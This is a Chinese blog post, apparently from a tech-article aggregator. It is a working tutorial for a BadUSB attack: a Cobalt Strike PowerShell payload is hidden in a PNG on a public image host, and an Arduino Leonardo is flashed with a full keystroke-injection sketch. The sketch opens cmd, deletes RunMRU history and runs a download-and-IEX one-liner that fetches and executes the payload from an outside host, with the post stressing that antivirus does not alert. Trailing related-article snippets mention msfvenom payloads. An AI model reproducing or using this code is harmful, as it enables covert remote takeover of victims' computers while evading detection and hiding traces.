BadUsb配合Cobalt-Strike免杀上线
BadUsb配合Cobalt-Strike免杀上线
前言:
原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作。Badusb将恶意代码预存在U盘的固件中,导致PC上的杀毒软件无法应对BadUsb的攻击。 BadUSB就是通过对U盘的固件进行逆向重新编程,改写了U盘的操作系统而进行攻击的。
实现步骤:
1.Cobalt-strike生成Powershell payload.
2.自行从网上找一1920*1080高清壁纸,接下来要将木马免杀进PNG图片。
免杀工具地址:https://github.com/peewpw/Invoke-PSImage
介绍:Invoke-PSImage使用PowerShell脚本并将该脚本的字节编码为PNG图像的像素。 它从Web的文件中生成一个oneliner来执行。
它可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入到现有图像的最低有效字节中,以便看起来像实际的图片。 图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。 创建新映像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成png,其文件大小约为原始脚本的50%。
将生成的Payload.ps1和网上的图片放在Invoke-PSimage同一目录下,按下Shift+鼠标右键进入Powershell命令行,输入如下命令:
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Out haha.png -Image .\1.png -WebClient
会发现生成如下的命令:
当这个语句放入Powershell执行的时候,CS就会上线目标机器,但是不会触发杀软,简单原理就是远程下载带有恶意代码的图片,然后进行运行,那么接下来一步就是将带有混淆代码的图片上传到互联网上。(使用Cobalt-strike的钓鱼文件下载具有时效性,不如图床稳定)
3.上传到图床,目前互联网上的图床上传限制皆为5M,这里我找了一个比较好的图床。
上传完图片后将原有代码进行修改替换,修改后如下:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://www.png8.com/imgs/2021/05/18df3672767f26ef.png"));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))
这样在Powershell模式下运行就会进行上线
4.接下来就是将恶意代码执行的命令烧录进BadUsb.
使用到的软件是Arduino IDE,使用的Badusb为淘宝某热销。
Badusb的核心逻辑就是模拟键盘操作,那么我们的入侵思路是目标插入Badusb的一段时间内使其失去对电脑的控制权限,从而给我们足够是时间让恶意代码执行,从网页上下载带有Payload的PNG进行执行。那么我们的思路可以是这样的:
#1.插入USB后缓存一定时间让电脑足够识别
#2.按下Win+r,并且以最小化打开CMD,并且删除注册表记录
#3.进入Powershell模式
#4.在Powershell模式下执行恶意代码,同时让目标失去对电脑的控制权
#5.执行完恶意代码后按下Win+M,此时所有应用最小化。
对应的arduino代码如下,具体可以自己魔改,相应的函数作用不再赘述。
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1® delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
delay(500);
Keyboard.println("Powershell");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
Keyboard.println("sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('https://www.png8.com/imgs/2021/05/18df3672767f26ef.png'));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))");
Keyboard.press(KEY_RETURN);
delay(10000);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_RETURN);
delay(5000);
Keyboard.release(KEY_RETURN);
Keyboard.println('exit');
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('m');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('m');
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}
①:注意应将链接内的双引号修改为单引号否则会引起报错。
②:图片上传到图床一定得是PNG格式,jpg格式会导致无法解析!
5.使用Arduino烧录代码到USB中
选择Arduino Leonardo 板 以及COM5端口,将代码编译运行后烧录。
再次插入USB,自动运行并且上线。
杀软无告警,此时BadUsb制作成功。
BadUsb配合Cobalt-Strike免杀上线的更多相关文章
- shellcode隐写到像素RGB免杀上线到CS
利用把Shellcode隐写到图片像素RGB进行免杀上线到CS --by:chenw 0x01 前言 前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法 ...
- 后门木马免杀-msfvenom和msf5(evasion)
贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpr ...
- Cobalt Strike系列教程第一章:简介与安装
Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...
- cobalt strike 快速上手
原文:https://klionsec.github.io/2017/09/23/cobalt-strike/#menu 0x01 关于 Cobalt Strike 1 2 3 一款非常优秀的后渗透平 ...
- Cobalt Strike使用教程一
Cobalt Strike使用教程一 0x00 简介 Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器.自3.0以后已经不在使用Metasploit框架而作为 ...
- Cobalt Strike 学习
前言 本文以一个模拟的域环境为例对 Cobalt Strike 的使用实践一波. 环境拓扑图如下: 攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31. ...
- Cobalt Strike深入使用
System Profiler使用 System Profiler 模块,搜集目标的各类机器信息(操作系统版本,浏览器版本等) Attacks->web drive-by->System ...
- Cobalt Strike生成后门
Cobalt Strike生成后门 1.Payload概念 Payload在渗透测试之中大家可以简单地理解为一段漏洞利用/植入后门的代码或程序. 2.Cobalt Strike生成后门 攻击--> ...
- Cobalt Strike后渗透安装和初步使用
Cobalt Strike安装 系统要求 Cobalt Strike要求Java 1.8,Oracle Java ,或OpenJDK . 如果你的系统上装有防病毒产品,请确保在安装 Cobalt St ...
随机推荐
- 阿里云CentOS8.0服务器配置Django3.0+Python 3.7 环境
---恢复内容开始--- 1. 下载并安装python # 安装Python3.7.6 wget https://www.python.org/ftp/python/3.7.6/Python-3.7. ...
- 后端程序员之路 45、nginx CORS 跨域
在提供api给其它应用使用时,有时我们会要限制它的跨域使用,而有时,我们又要用CORS来打破AJAX只能同源使用的限制 跨域资源共享 CORS 详解 - 阮一峰的网络日志http://www.ruan ...
- 基于jQuery1.4.2轻量级的弹出窗口jQuery插件wBox 1.0
Box特点 背景透明度可以根据实际情况进行调节 可以根据需要添加wBox标题 支持callback函数 支持html内容自定义 支持在wBox显示#ID的内容 支持Ajax页面内容 支持iFrame ...
- Java 基础加强 02
基础加强·反射 和 枚举 类的加载概述和加载时机 * A:类的加载概述 * 当程序要使用某个类时,如果该类还未被加载到内存中,则系统会通过加载.连接.初始化来实现对这个类的初始化 * 加载 * 就是指 ...
- 【Arduino学习笔记01】关于Arduino引脚的一些笔记
参考链接:https://www.yiboard.com/thread-831-1-1.html Arduino Uno R3 - 引脚图 Arduino Uno R3 - 详细参数 Arduino ...
- Navicat 121版本激活工具
以下是工具的链接: https://github.com/DoubleLabyrinth/navicat-keygen/blob/windows/README_FOR_WINDOWS.zh-CN.md ...
- spring 最权威的知识点
1.Spring是什么? Spring是一个轻量级的IoC和AOP容器框架.是为Java应用程序提供基础性服务的一套框架,目的是用于简化企业应用程序的开发,它使得开发者只需要关心业务需求.常见的配置方 ...
- linux程序开机自动启动
linux如果需要实现开机启动, 可以找到 $HOME/.config/autostart 目录(没有的话新建一个),在该文件夹下创建一个空文件,文件名自拟,后缀必须是desktop,如:dingda ...
- java例题_08 输入特定数字求和(n个a位数递增求和问题)
1 /*8 [程序 8 输入数字求和] 2 题目:求 s=a+aa+aaa+aaaa+aa...a 的值,其中 a 是一个数字.例如 2+22+222+2222+22222(此时共有 5 个数相加), ...
- 使用 Android Studio 的日志工具 Log
•Log简介 Android中的日志工具类是Log,这个类中提供了5个方法来供我们打印日志: 1. $Log.v()$ 用于打印那些最为琐碎的,意义最小的日志信息 对应级别 verbose,是 And ...